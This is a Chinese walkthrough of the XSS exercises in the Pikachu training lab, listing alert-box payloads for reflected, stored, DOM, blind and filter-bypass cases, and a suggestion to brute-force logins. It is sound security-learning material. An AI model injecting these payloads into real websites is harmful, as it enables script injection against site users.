pikachu——反射型xss(get)

输入132,看到URl上出现,直接试一下<script>alert('xss')</script>

发现只能输入<script>alert('xss'),原因是表单设置了输入框数据的长度为20。提交后,页面的内容没有我们输入的值,猜测被过滤了。但在url栏中可以看到<script>alert('xss'),所以把maxlength改成100,再试一下

还有一种办法是直接在URL上添加<script>alert('xss')</script>

pikachu——反射型xss(post)

账号和密码是admin,123456

直接输入<script>alert('xss')</script>试一下

直接成功了,这是我没想到的,在这里如果前期不知道账号和密码,可以试一下爆破

pikachu——存储型xss

直接试一下<script>alert('xss')</script>

pikachu——DOM型xss

这里发现在a标签里,输入javascript:alert(/xss/)

pikachu——DOM型xss-x

pikachu——xss之盲打

无论我们输入什么,他都会提交上去,那么就简单了,直接构造payload:<script>alert('xss')</script>

然后登录xssblind/admin.php

pikachu——xss之过滤

这里发现<script>被过滤了,考虑用其他的,<img src='#' οnerrοr='alert(/xss/)'>

pikachu——xss之htmlspecialchars

使用htmlspecialchars函数会把标签过滤掉

在a标签里面 可以使用 <a href='javascript:alert(/xss/)'>xxx</a>这种payload就不用<>标签

pikachu——xss之href输出

跟上面一样可以使用 javascript:alert(/xss/) 就能弹出xss框

pikachu——xss之js输出

在输入框输入 <h1>1</h1>再查看js脚本

<script>
    $ms='<h1>1</h1>';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>

看到输入的值赋值的$ms 但是$ms在后面并没有输出相关内容

所以我们把重点放在闭合标签上 把<script>闭合

所以payload是 '</script>script><script>alert(/xss/)</script>

Logo

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。

更多推荐